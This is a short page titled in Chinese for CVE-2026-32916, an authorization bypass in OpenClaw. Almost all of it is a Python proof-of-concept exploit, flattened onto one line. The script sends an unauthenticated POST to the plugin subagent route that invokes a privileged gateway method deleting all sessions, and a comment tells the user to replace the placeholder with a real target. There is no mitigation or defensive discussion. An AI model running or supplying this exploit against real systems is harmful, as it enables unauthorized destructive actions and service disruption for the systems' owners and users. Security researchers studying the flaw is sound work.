CVE-2026-32916 OpenClaw授权绕过漏洞

import requests def exploit_openclaw(target): """ PoC for CVE-2026-32916: OpenClaw Authorization Bypass This script sends an unauthenticated request to the plugin subagent route to perform a privileged action (e.g., session deletion). """ # Target endpoint for the plugin subagent route url = f"{target}/api/plugins/subagent/runtime.subagent" headers = { "Content-Type": "application/json" } # Payload to invoke privileged gateway method payload = { "action": "invoke_gateway_method", "method": "delete_sessions", "params": { "scope": "all" } } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Privileged action executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed or unexpected response. Status: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1:8080" # Replace with actual target exploit_openclaw(target_ip)